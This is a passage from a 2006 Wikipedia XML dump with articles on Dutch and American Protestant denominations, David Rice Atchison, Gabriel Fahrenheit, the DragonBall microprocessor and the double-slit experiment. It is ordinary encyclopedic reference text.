The '''Protestant Church in the Netherlands''' ([[Dutch language|Dutch]]: '''Protestantse Kerk in Nederland''' &lt;nowiki&gt;[[PKN]]&lt;/nowiki&gt;) came into being on [[1 May|1 May]] [[2004]] as a [[merger]] of the [[Dutch Reformed Church]] (''Nederlandse Hervormde Kerk'', NHK), the [[Reformed Churches in the Netherlands]] (''Gereformeerde Kerken in Nederland'', GKN)  and the [[Evangelical Lutheran Church in the Kingdom of the Netherlands]] (''Evangelisch-Lutherse Kerk in het Koninkrijk der Nederlanden''). Since [[1961]] the churches have been going through an organizational process to this end.

The PKN has roughly 2,700 congregations and a membership of some 2,500,000 , about 17,5% of the Dutch population. After the Catholic Church, it is the second largest church body in the [[Netherlands]]. The PKN has four different types of congregations: 
1: Protestant Congregations are local congregations from different church bodies that have merged.
2: Dutch Reformed congregations 
3: Reformed Churches (congregations of the former Reformed Churches in the Netherlands)
4: Lutheran congregations (congregations of the former Evangelical-Lutheran Church)   

Lutheran congregations are special in that they are federated in a separate Lutheran Synod, which is an autonomous synod in the PKN, the Lutheran Synod also sends representatives to the PKN Synod.

Some [[congregation (worship)|congregations]] and members in the Dutch Reformed Church did not agree with the merger and have separated. They have organized themselves in the &quot;Restored Reformed Church&quot;, ''&quot;Hersteld Hervormde Kerk&quot;'' (HHK). Estimations of their membership vary from 35,000 up to 70,000 people in about 120 local congregations. They disagree with the plural constitution of the merged church which contains, as they see it, contradicting Reformed and Lutheran confessions. This group also condemns same-sex marriages and female clergy. 

Only those congregations belonging to the former Reformed Churches in the Netherlands have the legal right to secceed from the PKN without losing its property and church during a transition period of 10 years. 
Five congregations have so far decided to form the &quot;Voortgezette Gereformeerde Kerken in Nederland&quot; (Continued Reformed Church in the Netherlands) with about 3,400 members. Two congregations joined one of the other smaller reformed churches in the Netherlands. Some minorities within congregations that joined the PKN decided to leave the church and associated themselves individualy with one of the other reformed churches.

The PKN, being, at least partly, a former state church is a denomination which has both liberal and conservative streams. Local congregations have far reaching powers concerning &quot;controversial&quot; matters (such as whether or not women are admitted as members of the congregation's [[consistory]] or admittance to [[holy communion]]) 

[[Image:WesterkerkAmsterdam20041002 CopyrightKaihsuTai.jpg|thumb|Westerkerk in [[Amsterdam]].]]

== External links ==

*[http://www.unitingprotestantchurches.nl/ Website Protestant Church of the Netherlands]
*http://www.godutch.com/windmill/newsItem.asp?id=571
*[http://www.hersteldhervormdekerk.nl/ HHK] (in Dutch)
*[http://www.voortzettinggkn.nl/ vGKN] (in Dutch)

[[nl:Protestantse Kerk in Nederland]]

[[Category:Christianity]]
[[Category:United Uniting churches]]
[[Category:Christian denominations]]
[[Category:Religion in the Netherlands]]
[[Category:WARC Member Churches]]
[[Category:Churches in the Netherlands]]</text>
    </revision>
  </page>
  <page>
    <title>Christian Church (Disciples of Christ)</title>
    <id>8660</id>
    <revision>
      <id>42036221</id>
      <timestamp>2006-03-03T10:23:40Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">[[Image:Chalice.gif|thumb|150px|right|'''''The insignia of the Christian Church (Disciples of Christ).''''']]
The '''Christian Church (Disciples of Christ)''', often abbreviated as the '''Disciples of Christ''' or the '''Christian Church''', is a [[Christian denomination|denomination]] of [[Christianity|Christian]] [[Protestantism]] that grew out of the [[Restoration Movement]] founded by [[Thomas Campbell (Restoration movement)|Thomas Campbell]] and [[Alexander Campbell (Restoration movement)|Alexander Campbell]] of [[West Virginia]] (then Virginia) and [[Barton W. Stone]] of [[Kentucky]].  Both families were originally [[Presbyterianism|Presbyterians]]. 

==History==
The roots of the [[Disciples]] of Christ lie in the [[Restoration Movement]] of the early [[1800s]], with a focus on Christian unity and lack of strict denominationalism. This focus came from a study of the [[New Testament]] by the movement's founders. Tolerance of other viewpoints that differed on non-essentials was key, as was inclusion based on the Lord's Table ([[Eucharist|Communion]]). It has been estimated that the indigenous movement that gave rise to the modern Disciples of Christ (and its associated offshoots) has been surpassed in size by only one other body of [[North America]]n origin, that of [[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]].

The unity of this group was shaken by the formation of a missionary society in the late [[1840s]], a development looked upon with disfavor by many, especially among the smaller, more [[rural]], and [[Southern United States|Southern]] congregations, and by the adoption shortly after this by some congregations of instrumental music, predominantly (at first) [[piano]]s and [[Organ (music)|organ]]s.  After the [[American Civil War]] the dispute became more strident, as many leftover regional animosities became a subtext.  By the [[1870s]] and [[1880s]] there were essentially two groups within the Restoration Movement, although the break was not truly formalized until the Religious Census of [[1906]] in which the congregations that disagreed with instrumental music and the missionary society asked to be listed separately as the [[Church of Christ]].

Another group, perhaps nearly as conservative as the Church of Christ (but at variance with the ''Church of Christ'' mainly on Biblical interpretations concerning the use of musical instruments during worship), was disturbed by the [[liberalism]] that it perceived to be predominant at a church conference in [[Memphis, Tennessee]] in [[1926]], forming the [[North American Christian Convention]] the next year.  Slowly over the next forty-five years, the split between these &quot;Independents&quot; and the Disciples became more or less complete; this group is now known as [[Independent Christian Churches/Churches of Christ]].

At the time of the 1906 division, the Disciples were by far the larger of the two bodies; now it would seem possible that they might be the smallest of the three current major divisions of the Restoration Movement.  To this point, despite serious concerns over the direction of the denomination being expressed by some of the more conservative members, further open division has not occurred.

1963 saw the next wave of Disciples history. It began with the publication of essays from pastors and scholars that were charged with the task of reexaming the beliefs and doctrines of the Disciples. The essays were published as a three-volume series under the name of The Panel of Scholars Reports.

==Modern Disciples==
The Disciples of Christ declare only one essential tenet of the faith: belief in [[Jesus]] Christ as Lord and Savior. In addition, the Disciples affirm that Jesus is the son of God and that he offers saving grace to all, as all persons are God’s children. Beyond this, there are several central practices generally associated with the Disciples:
*[[Open communion|Open Communion]]: Communion is celebrated weekly during the worship service; no individual is ever refused Communion.
*[[Baptism|Baptism by immersion]]: Disciples practice [[Believers Baptism|&quot;Believer's baptism&quot;]] by immersion in the name of the Trinity, however, other baptism traditions are honored in converts. Re-baptism may be performed for converts or existing members if requested, but this practice is not normative of the denomination at large. Most Disciples ministers will not administer re-baptism.
*The unity of the church: Disciples believe that all Christians are called to be the Body of Christ; they deny that any denomination (including their own) is the &quot;one Church.&quot; Disciples seek opportunities for common witness and service with other denominations. As early Disciples leader Barton Stone declared, &quot;Unity is our polar star.&quot;
*Common ministry: Disciples ministers are ordained by their respective regional church, based on criteria established by the general church, and after an intensive in-care process with the region. They must have sponsorship by at least one local congregation, and normally the ordination service is hosted by that congregation.  An ordained Disciples minister normatively holds a Master of Divinity degree from a theological seminary. Lay persons often lead worship, and lay elders and deacons preside at Communion.
*Freedom of belief: Individual members are free to follow their consciences; they are expected to extend that freedom to others. Members are encouraged to seek guidance from scripture, study, and prayer, but to develop their own opinions about most issues.

In addition, Disciples churches practice [[Congregationalist church governance|congregationalist church governance]] and utilize a &quot;bottom-up&quot; hierarchy. While other denominations utilize a top-down hierarchy where the senior church official or church council holds ultimate authority, the ultimate authority of the Disciples of Christ church lies in the individual, independent congregations. A General Assembly of the Christian Church (Disciples of Christ), a biannual gathering of congregations, expresses only the views of that particular assembly and holds little power to bind the denomination as a whole, although decisions may be made that affect the general manifestation of the church. The denomination is governed by [http://www.disciples.org/internal/vision/design.htm The Design of the Christian Church (Disciples of Christ).]

At the 2005 General Assembly, 3000+ delegates voted (almost) unanimously to elect Rev. Dr. Sharon Watkins, Senior pastor of Disciples Christian Church in Bartlesville, OK, to become the first female General Minister and President of this denomination.

==The Chalice==
The insignia of the Christian Church (Disciples of Christ) is a red [[chalice]] with a white [[St. Andrew's Cross]] in the upper left corner. The chalice recalls the central place of Communion to the life of every Christian. The cross of [[Saint Andrew]] is a reminder of the ministry of each person and the importance of evangelism, and recalls the denomination's [[Presbyterian]] ancestry. 

==Churches Uniting in Christ==
The Disciples are part of [[Churches Uniting in Christ]], an [[ecumenism|ecumenical]] movement that many hope will result in one large mainline Protestant body in the U.S. similar to the role of the [[United Church of Canada|United Church]] in [[Canada]] and the [[Uniting Church in Australia]]; more conservative members tend to oppose this due to the liberalism of some of the other churches involved in the project.  The Disciples were closely involved in the church union discussions between the [[United Church of Canada]] and the [[Anglican Church of Canada]] which would have resulted in a &quot;Church of Christ in Canada,&quot; but which foundered at the 11th hour in 1974 when the Anglican bishops feared that their prerogatives would be compromised in a larger denomination dominated by non-episcopal liberal evangelical Protestants. The Disciples have continued to develop a close relationship in the USA with the  the [[United Church of Christ]].  

New Spirit Community Chuch in [[Berkeley, California|Berkeley]], [[California]] grew out of the gay affirming [[Metropolitan Community Church]] movement and is triple affiliated with [[Metropolitan Community Church]], [[United Church of Christ]] and [[Disciples of Christ]].

==Peoples Temple and Jim Jones==
The [[Peoples Temple]] congregation led by [[Jim Jones]] was  affiliated with the Disciples of Christ at the time of the [[mass suicide]] [http://www.religioustolerance.org/dc_jones.htm]of its members on [[18 November|18 November]] [[1978]] at its compound in [[Guyana]]. Jones was ordained by the Disciples of Christ.[http://www.owlnet.rice.edu/~reli291/Jonestown/Jonestown.html] His fellowship and standing with the Disciples was under review at the time of the events in Guyana. Because of the congregational polity of the Christian Church (Disciples of Christ), regional leaders did not have the power to intervene in a decisive manner. However, since the tragedy, the systems of accountability in all regions of the Christian Church (Disciples of Christ) have been strengthened.

==Prominent Members==
*[[James Garfield]], 20th [[President of the United States]] and a lay minister
*[[Lyndon Baines Johnson]], 36th President of the United States (whose family, however, had been staunchly Baptist and whose wife Lady Bird Johnson was a devoted Anglican)
*[[Ronald Reagan]], 40th President of the United States
*[[J. William Fulbright]], [[United States Senate|U.S. Senator]] from [[Arkansas]] 
*[[John Tanner]], Congressman from Tennessee's 8th Congressional District
*[[Ike Skelton]], Congressman from Missouri's 4th Congressional District
*[[Lew Wallace]], author and [[American Civil War|Civil War]] general.
*[[Edgar Cayce]], Psychic and healer - His unorthodox &quot;readings&quot; clashed with his Christian beliefs

==Affiliations==
*[[Churches Uniting in Christ]]
*[[National Council of Churches]]
*[[World Convention of Churches of Christ]]
*[[World Council of Churches]]

==See also==
*[[Christianity]]
*[[Christian apologetics]]

==References==
* {{cite web
 | url = http://www.mun.ca/rels/restmov/texts/jtbrown/coc/COC1306.HTM
 | title = James A. Garfield
 | work = John T. Brown's Churches of Christ
 | accessdate = 2005-12-08
 | year = 1904
 | publisher = Memorial University of Newfoundland
 | last = Green | first =  F. M.
 }} 
* {{cite web
 | url = http://www.lbjlib.utexas.edu/johnson/archives.hom/FAQs/Religion/religion_hm.asp
 | title = Religion and President Johnson
 | publisher = Lyndon B. Johnson Library and Museum
 | accessdate = 2005-12-08
 }}
* {{cite web
 | url = http://www.reagan.utexas.edu/archives/reference/facts.html
 | title = Ronald Reagan Facts
 | publisher = Ronald Reagan Presidential Library
 | accessdate = 2005-12-08
 }}

==External links==
*[http://www.disciples.org/ Disciples of Christ]
*[http://www.disciplesworld.com/ DisciplesWorld, a journal of news, mission and opinion for the Disciples of Christ]
*[http://worldconvention.org The Christian - Churches of Christ - Disciples of Christ family of Churches XVIIth World Convention of Churches of Christ in Nashville, Tennessee in July-August 2008]
*[http://www.mun.ca/rels/restmov/texts/wwarren/ccr/CCR00A.HTM One Hundredth Anniversary of the Disciples of Christ in 1909]

[[Category:Christian denominations]]
[[Category:Restoration Movement]]

[[ru:Ученики Христа]]
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  </page>
  <page>
    <title>David Rice Atchison</title>
    <id>8662</id>
    <revision>
      <id>40835808</id>
      <timestamp>2006-02-23T08:47:28Z</timestamp>
      <contributor>
        <username>Tskoge</username>
        <id>174597</id>
      </contributor>
      <minor />
      <comment>rv edit by [[Special:Contributions/Liface|Liface]]</comment>
      <text xml:space="preserve">[[Image:Davidriceatchison.jpg|right|frame|David Rice Atchison]]

'''David Rice Atchison''' ([[August 11]], [[1807]] - [[January 26]], [[1886]]) was a mid-19th century [[United States Democratic Party|Democratic]] [[United States Senate|United States Senator]] from [[Missouri]].  Frequently serving as [[President Pro Tempore of the United States Senate|President Pro Tempore]] of the Senate, he is best known as the focus of an urban legend claiming that, for one day, he was ''de jure'' [[President of the United States]].

== Early life and Senate career ==
Born in Frogtown (now named [[Kirklevington, Kentucky|Kirklevington]]), [[Fayette County, Kentucky]], Atchison was educated at [[Transylvania University]] in Lexington before becoming a lawyer and farmer in western [[Missouri]].  Through his tenure in Missouri, Atchison also served in the state legislature and as a circuit-court judge, and in 1843 was appointed to the [[United States Senate]] to replace a Missouri Senator who had just died. He held this office from 1843 to 1855. He became the first senator from western Missouri and at age 36 the youngest Missourian at that time to enter the U.S. Senate.

== &quot;President for One Day&quot; ==
Some claim that Atchison technically was [[President of the United States]] for one day&amp;mdash;[[Sunday]], [[March 4]], [[1849]].  Outgoing President [[James K. Polk|James Polk]]'s term expired at noon on that day, and his successor, [[Zachary Taylor]], refused to be [[inauguration|sworn into]] office on the [[sabbath]] (Sunday).  Taylor's [[Vice President of the United States|Vice Presidential]] running mate, [[Millard Fillmore]], likewise was not inaugurated. As [[President Pro Tempore of the United States Senate|President Pro Tempore]] of the [[United States Senate|Senate]] from the prior [[Congress of the United States|U.S. Congress]], under the presidential succession law in place at the time Atchison could have been seen as next in line.

While it is true that the offices of [[President of the United States|President]] and [[Vice President of the United States|Vice President]] were vacant, Atchison in fact was not next in line.  While the terms of [[James K. Polk]] and Vice President [[George M. Dallas|George Mifflin Dallas]] expired at noon on [[March 4]], Atchison's tenure as [[President Pro Tempore of the United States Senate|President Pro Tempore]] did as well.  He also never took the oath of office, although there is no [[United States Constitution|constitutional]] requirement, then or now, for an [[Acting President of the United States|Acting President]] to do so.  No disability or lack of qualification prevented Taylor and Fillmore from taking office, and as they had been duly certified as President-elect and Vice-President elect, if Taylor was not President because he had not been sworn in as such, then Atchison, who hadn't been sworn in either, certainly wasn't.

Atchison was sworn in for his new term as President Pro Tempore minutes before both Fillmore and Taylor, which might theoretically make him Acting President for at least that length of time; however, this also implies that any time the Vice President is sworn in before the President, the Vice President is the de facto Acting President. Since this is a common occurrence, if Atchison is considered President, so must every Vice President whose inauguration preceded that of the President. Obviously this is not the case. Therefore, while one could argue that Atchison was legally President for a few minutes (though even this much is debatable), claims that he should be considered an &quot;official&quot; President are most likely incorrect.

When asked what he did on [[March 4]], [[1849]], Atchison replied, &quot;I went to bed.  There had been two or three busy nights finishing up the work of the Senate, and I slept most of that Sunday.&quot;  He jokingly boasted that his &quot;presidency&quot; was the &quot;most honest administration this country ever had.&quot;

Atchison was 41 years and 6 months old at the time of his &quot;presidency,&quot; which, if it had been official, would still make him the youngest President in American history.  [[Theodore Roosevelt]], the youngest to serve, was 42 years and 11 months old when he was sworn in following the death of [[William McKinley]] in [[1901]], and [[John F. Kennedy]], the youngest to be elected, was 43 years and 7 months old when he was inaugurated in [[1961]].

Despite this, a museum exhibit in his honor (claiming to be the country's smallest &quot;Presidential library&quot;) opened in [[February]] [[2006]] at the Atchsion County Historical Museum in [[Atchison, Kansas]].

[[Image:Atchison_David_Rice_-_Plattsburg_MO_3.jpg|David Atchison's Tombstone|right|frame|David Rice Atchison's tombstone.]]

== Memorials ==
He is buried in his home of [[Plattsburg, Missouri]], where a statue honors him in front of the [[Clinton County, Missouri | Clinton County]] Courthouse.  His grave marker reads &quot;President of the United States for One Day.&quot;

[[Atchison, Kansas]] is named for him.  The town subsequently gave its name to the famous [[Atchison, Topeka, and Santa Fe Railroad]].

==See also==
;Places named for David Atchison
:*[[Atchison, Kansas]] (city)
:*[[Atchison County, Kansas]]
:*[[Atchison County, Missouri]]

==External links==
* [http://www.snopes2.com/history/american/atchison.htm Urban Legends: President for a Day]
* [http://home.nycap.rr.com/useless/atchison/index.html Useless Information: David Rice Atchison]
* [http://www.senate.gov/artandhistory/history/minute/President_For_A_Day.htm U.S. Senate Historical Minute Essay]

{{start box}}
{{succession box|
  title=[[President pro tempore of the United States Senate|President ''pro tempore'' of the United States Senate]]|
  before=[[Ambrose Hundley Sevier]]|
  years=[[August 8]],[[1846]]&amp;ndash;[[December 2]],[[1849]]|
  after=[[William R. King]]|
}}
{{succession box|
  title=[[President pro tempore of the United States Senate|President ''pro tempore'' of the United States Senate]]|
  before=[[William R. King]]|
  years=[[December 20]],[[1852]]&amp;ndash;[[December 4]],[[1854]]|
  after=[[Lewis Cass]]|
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{{USSenPresProTemp}}

[[Category:1807 births|Atchison, David Rice]]
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  </page>
  <page>
    <title>Gabriel Fahrenheit</title>
    <id>8663</id>
    <revision>
      <id>41639065</id>
      <timestamp>2006-02-28T18:41:21Z</timestamp>
      <contributor>
        <username>ILovePlankton</username>
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      <comment>RV:V</comment>
      <text xml:space="preserve">&lt;!-- Unsourced image removed: [[Image:fahr.jpg|frame|D.G. Fahrenheit.]] --&gt;
'''Daniel Gabriel Fahrenheit''' (born [[May 24]], [[1686]], Danzig ([[Gdańsk]]); died [[September 16]], [[1736]], [[The Hague]], [[Netherlands]]) was a [[Germany|German]] [[physicist]] and [[engineer]], born into a [[German language|German]]-speaking family, who worked most of his life in the [[Netherlands]]. The '''°F''' [[Fahrenheit]] scale of [[temperature]] is named after him.

Fahrenheit was born in the [[Hanse]] city [[Danzig]] located in [[Royal Prussia]], where the Fahrenheits had moved in [[1650]]. He was the son of merchant Daniel Fahrenheit and Concordia Fahrenheit (widowed name, Runge), daughter of the well-known Danzig business family of Schumann. Daniel was the eldest of the five Fahrenheit children who survived childhood (two sons, three daughters). Daniel's grandfather Reinhold Fahrenheit vom [[Kneiphof]] had moved to Danzig from [[Kaliningrad|Königsberg]] (Królewiec) and settled as a merchant. Research suggests that the Fahrenheit family originated in [[Hildesheim]], although they lived in [[Rostock]] before moving to Königsberg.&lt;ref&gt;Horst Kant, ''G.D. Fahrenheit / R.-A.F. de Réaumur / A. Celsius'', 1984.&lt;/ref&gt;

Upon the accidental early death of his parents, caused by consumption of poisonous mushrooms, Gabriel had to take up business training. However, his interest in natural sciences caused him to take up studies and experimentation in that field. Fahrenheit's studies brought him to [[Amsterdam]], where he gave lectures in [[chemistry]]. In 1724 he became a member of the [[Royal Society]].

Fahrenheit developed precise [[thermometer]]s. The Fahrenheit scale was widely used in Europe until the switch to the [[Celsius]] scale. It is still used for everyday temperature measurements by the general population in the [[United States]] and [[Jamaica]].

When Fahrenheit first made his thermometers, he used [[ethanol|alcohol]]. Later he used [[mercury (element)|mercury]], which gave better results.

==References==
&lt;references/&gt;

[[Category:1686 births|Fahrenheit, Daniel Gabriel]]
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[[uk:Даніель Габріель Фаренгейт]]</text>
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  </page>
  <page>
    <title>Freescale DragonBall</title>
    <id>8664</id>
    <revision>
      <id>37502934</id>
      <timestamp>2006-01-31T11:22:46Z</timestamp>
      <contributor>
        <username>Neier</username>
        <id>430157</id>
      </contributor>
      <text xml:space="preserve">''This article is about a computer chip. For the manga and TV series, see [[Dragonball]].''

[[Image:Motorola DragonBallEZ XC60EZ328PU16V top.jpg|thumb|Motorola DragonBall Microprocessor]][[Motorola]]/[[Freescale Semiconductor]]'s '''DragonBall''' is [[microprocessor]] design based on the famous [[Motorola 68k|68000]] core, but implemented as an all-in-one low-power solution for [[handheld computer]] use. It was designed by Motorola based in [[Hong Kong]].

The DragonBall's only major design win was in earlier versions of the [[Palm Computing]] platform; from Palm OS 5 on it has been superseded by [[ARM]]-based [[XScale]] processors from [[Intel]]. The processor is also used in the [[AlphaSmart]] line of portable [[word processor]]s. One such example is the Dana, and Dana Wireless.

The processor is capable of speeds of up to 16.67 MHz and can run up to 2.7 MIPS (million instructions per second), for the base and EZ model. It was extended to 37 MHz, 3.5 MIPS for the VZ model, and 66 MHz, 10.8 MIPS for Super VZ.

It is a 16-bit processor with 32-bit internal and external address bus (24-bit external address bus for EZ and VZ variants). It has many built-in functions, like a color and grayscale display controller, PC speaker sound, serial port with UART and IRDA support, UART bootstrap, real time clock, is able to directly access DRAM, Flash ROM, and mask ROM, and has built-in support for touch screens.

It is an all-in-one computer on a chip; before the dragonballEZ, Palm handhelds had twice as many ICs (integrated circuits). 
{{microcompu-stub}}

{{Motorola_processors}}

[[Category:Microprocessors]]
[[Category:Freescale]]
[[Category:Motorola products]]

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[[zh:摩托羅拉龍珠處理器]]</text>
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  </page>
  <page>
    <title>D.W. Griffith</title>
    <id>8665</id>
    <revision>
      <id>15906632</id>
      <timestamp>2002-12-22T07:58:21Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[D. W. Griffith]]</text>
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  </page>
  <page>
    <title>Decnet</title>
    <id>8666</id>
    <revision>
      <id>15906633</id>
      <timestamp>2002-10-18T22:56:14Z</timestamp>
      <contributor>
        <username>Maury Markowitz</username>
        <id>2175</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT: [[DECnet]]</text>
    </revision>
  </page>
  <page>
    <title>Double-slit experiment</title>
    <id>8667</id>
    <revision>
      <id>41584300</id>
      <timestamp>2006-02-28T08:20:16Z</timestamp>
      <contributor>
        <ip>202.59.16.74</ip>
      </contributor>
      <text xml:space="preserve">The '''double-slit experiment''' consists of letting [[light]] [[diffraction|diffract]] through two slits producing fringes on a screen. These fringes or [[interference]] patterns have light and dark regions corresponding to where the light waves have constructively and destructively interfered. The [[experiment]] can also be performed with a beam of [[electron]]s or [[atom]]s, showing similar interference patterns; this is taken as evidence of the &quot;[[wave-particle duality]]&quot; predicted by [[quantum physics]]. Note, however, that a double-slit experiment can also be performed with [[water]] [[wave]]s in a [[ripple tank]]; the explanation of the observed wave phenomena does not require [[quantum mechanics]] in any way.  The phenomenon is quantum mechanical only when quantum particles - such as atoms, electrons, or [[photons]] - manifest as waves.

==Importance to physics==
Although the double-slit experiment is now often referred to in the context of quantum mechanics, it was originally performed by the English scientist [[Thomas Young (scientist)|Thomas Young]] some time around [[1805]] in an attempt to resolve the question of whether light was composed of particles (the [[corpuscular theory|&quot;corpuscular&quot; theory]]), or rather consisted of waves travelling through some aether, just as sound waves travel in air.

The interference patterns observed in the experiment seemed to discredit the corpuscular theory, and the wave theory of light remained well accepted until the early [[20th century]], when evidence began to accumulate which seemed instead to confirm the particle theory of light.

The double-slit experiment, and its variations, then became a classic ''[[thought experiment|Gedankenexperiment]]'' (thought experiment) for its clarity in expressing the central puzzles of quantum mechanics; although in this form the experiment was not actually performed with anything other than light until [[1961]], when  [[Claus Jönsson]] of the [[University of Tübingen]] performed it with [[electron]]s. (C Jönsson, ''Zeitschrift für Physik'' '''161''', 454; C. Jönsson 1974 &quot;Electron diffraction at multiple slits&quot;, ''American Journal of Physics'' '''42''' 4-11), and not until [[1974]] in the form of &quot;one electron at a time&quot;, in a laboratory at the University of Milan, by researchers led by [[Pier Giorgio Merli]], of LAMEL-CNR Bologna.  

The results of the [[1974]] experiment were published and even made into a short film, but did not receive wide attention. The experiment was repeated in [[1989]] by Tonomura et al at Hitachi in Japan. Their equipment was better, reflecting 15 years of advances in electronics and a dedicated development effort by the Hitachi team. Their methodology was more precise and elegant, and their results agreed with the results of Merli's team. Although Tonomura asserted that the Italian experiment had not detected electrons one at a time - a key to demonstrating the wave-particle paradox - single electron detection is clearly visible in the photos and film taken by Merli and his group.

In September [[2002]], the double-slit experiment of Claus Jönsson was voted &quot;the most beautiful experiment&quot; by readers of ''[[Physics World]].''

==Explanation of experiment==
[[image:youngsDoubleSlit.png]]

In Young's original experiment, sunlight passes first through a single slit, and then through two thin vertical slits in otherwise solid barriers, and is then viewed on a rear screen.

When either slit is covered, a single peak is observed on the screen from the light passing through the other slit.

But when both slits are open, instead of the sum of these two singular peaks that would be expected if light were made of particles, a pattern of light and dark fringes is observed.

[[Image:Fringespos.png|right]]
This pattern of fringes was best explained as the interference of the light waves as they recombined after passing through the slits, much as waves in water recombine to create peaks and swells. In the brighter spots, there is &quot;constructive interference&quot;, where two &quot;peaks&quot; in the light wave coincide as they reach the screen. In the darker spots, &quot;destructive interference&quot; occurs where a peak and a trough occur together.

==Replicating Young's experiment==
This experiment can easily be demonstrated in just the way that Young demonstrated it to the [[Royal Society of London]].  An assistant outside used mirrors to direct sunlight at a pinhole opening.  The beam from the opening was then bisected by &quot;a slip of card&quot;.  To make things easier, a modern experimenter can replace the sunlight and mirrors with a laser pointer covered, except for a pinhole, by black paper.  Splitting the beam with a small strip of notecard will produce a visible interference pattern when the beam is projected across the room.  [http://www.cavendishscience.org/phys/tyoung/tyoung.htm]

==Quantum version of experiment==
By the [[1920s]], various other experiments (such as the [[photoelectric effect]]) had demonstrated that light interacts with matter only in discrete, &quot;quantum&quot;-sized packets called [[photons]].

If sunlight is replaced with a light source that is capable of producing just one photon at a time, and the screen is sensitive enough to detect a single photon, Young's experiment can, in theory, be performed one photon at a time -- with identical results.

If either slit is covered, the individual photons hitting the screen, over time, create a pattern with a single peak. But if both slits are left open, the pattern of photons hitting the screen, over time, again becomes a series of light and dark fringes. This result seems to both confirm and contradict the wave theory. On the one hand, the interference pattern confirms that light still behaves much like a wave, even though we send it one particle at a time. On the other hand, each time a photon with a certain energy is emitted, the screen detects a photon with the same energy. Under the [[Copenhagen Interpretation]] of quantum theory, an individual photon is seen as passing through both slits at once, and interfering with itself, producing the interference pattern. 

A remarkable refinement of the double-slit experiment consists of putting a detector at each of the two slits, to determine which slit the photon passes through on its way to the screen (If the photon or electron passes through only one slit - which it must do, as, by definition, a photon or an electron is a quanta, or &quot;packet&quot; of energy which cannot be subdivided - then logically it can not interfere with itself and produce an interference pattern). When the experiment is arranged in this way, the fringes disappear.

The Copenhagen interpretation posits the existence of probability waves which describe the likelihood of finding the particle at a given location. Until the particle is detected at any location along this probability wave, it effectively exists ''at every point''. Thus, when the particle could be passing through either of the two slits, it will actually pass through both, and so an interference pattern results. But if the particle is detected at one of the two slits, then it can no longer be passing through both - it must exist at one or the other, and so no interference pattern appears.

This is similar to the [[path integral formulation]] of quantum mechanics  provided by [[Richard Feynman]] (although Feynman stresses that this is merely a mathematical description, not an attempt to describe some &quot;real&quot; process that we cannot see), in which a particle such as a photon takes ''every possible path'' through space-time to get from point A to point B. In the double-slit experiment, point A might be the emitter, and point B the screen upon which the interference pattern appears, and a particle takes every possible path - through both slits at once - to get from A to B. When a detector is placed at one of the slits, the situation changes, and we now have a different point B at the detector, and a new path between the detector and the screen - upon which the interference pattern no longer appears).

==Conditions for interference==
The two slits must be close to each other (about 1000 times the [[wavelength]] of the source), otherwise the spacing of the interference fringes would be too narrow to discern the interference pattern.

A necessary condition for obtaining an interference pattern in a double-slit experiment concerns the difference in pathlength between two paths that light can take to reach a zone of constructive interference on the viewing screen. This difference must be the wavelength of the light that is used, or a multiple of this wavelength. If a beam of sunlight is let in, and that beam is allowed to fall immediately on the double slit, then the fact that the Sun is not a point source degrades the interference pattern. The light from a source that is not a point source behaves like the light of many point sources side by side. Each can create an interference pattern, but the interference patterns of each of the many-side-by-side sources does not coincide on the screen, so they average each other out, and no interference pattern is seen.

The presence of the first slit is necessary to ensure that the light reaching the double slit is light from a single point source. The path length from the single slit to the double slit is equally important for obtaining the interference pattern as the path from the double slit to the screen.

[[Newton's rings]] show that light does not have to be [[coherence (physics)|coherent]] in order to produce an interference pattern. Newton's rings can be readily obtained with plain sunlight.{{fn|1}} More rings are discernable if for example light from a Sodium lamp is used, since Sodium lamp light is only a narrow band of the spectrum. Light from a Sodium lamp is incoherent. Other examples of interference patterns from incoherent light are the colours of soap bubbles and of oil films on water.

The width of the slits is usually slightly smaller than the wavelength (&amp;lambda;) of the light, allowing the slits to be treated as point-sources of spherical waves, and reducing the effects of single slit [[diffraction]] on the results.

In general, interference patterns are clearer when monochromatic or near-monochromatic light is used. Laserlight is as monochromatic as light can be made, therefore laserlight is used to obtain an interference pattern.

If the two slits are illuminated by coherent waves, but with [[polarization]]s perpendicular with respect to each other, the interference pattern disappears.

==Results observed==
The bright bands observed on the screen happen when the light has interfered constructively -- where a crest of a wave meets a crest. The dark regions show destructive interference -- a crest meets a trough.

::&lt;math&gt;\frac{\lambda}{s} = \frac{x}{D} \,&lt;/math&gt;
:where
::''&amp;lambda;'' is the [[wavelength]] of the light
::''s'' is the separation of the slits
::''x'' is the distance between the bands of light (also called fringe distance)
::''D'' is the distance from the slits to the screen

This is only an approximation and depends on certain conditions.

It is possible to work out the wavelength of light using this equation and the above apparatus. If ''s'' and ''D'' are known and ''x'' is observed, then ''&amp;lambda;'' can be easily calculated.

A detailed treatment of the mathematics of double-slit interference in the context of [[quantum mechanics]] is given in the article on [[Englert-Greenberger duality]].

==Shape of interference fringes==
The theoretical shapes of the interference fringes observed in Young's double slit experiment are straight lines which is easily proved.

In case two pinholes are used instead of slits, as in the original Young's experiment, hyperbolic fringes are observed. This is because the difference in paths travelled by the light from the two sources is a constant for a fringe which is the property of a hyperbola.

If the two sources are placed on a line perpendicular to the screen, the shape of the interference fringes is circular as the individual paths travelled by light from the two sources are always equal for a given fringe. This can be done in  simpler way by placing a mirror parallel to a screen at a distance and a source of light just above the mirror. (Note the extra phase difference of '''π''' due to reflection at the interface of a denser medium)

== See also ==
* [[Afshar experiment]]
* [[Elitzur-Vaidman bomb-testing problem]]
* [[Quantum eraser experiment]]

==References==
*{{cite book | last = Tipler | first = Paul | title=Physics for Scientists and Engineers: Electricity, Magnetism, Light, and Elementary Modern Physics | edition = 5th ed. | publisher=W. H. Freeman | year=2004 | id=ISBN 0716708108}}
*{{cite book | last = Gribbin | first = John | title=Q is for Quantum: Particle Physics from A to Z | publisher=Weidenfeld &amp; Nicholson | year=1999 | id=ISBN 0753806851}}
*{{cite book | last = Feynman | first = Richard P. | title=QED: The Strange Theory of Light and Matter | publisher=Princeton University Press | year=1988 | id=ISBN 0691024170}}

==External links==
* [http://schools.matter.org.uk/Content/Interference/formula.html Simple Derivation of Interference Conditions]
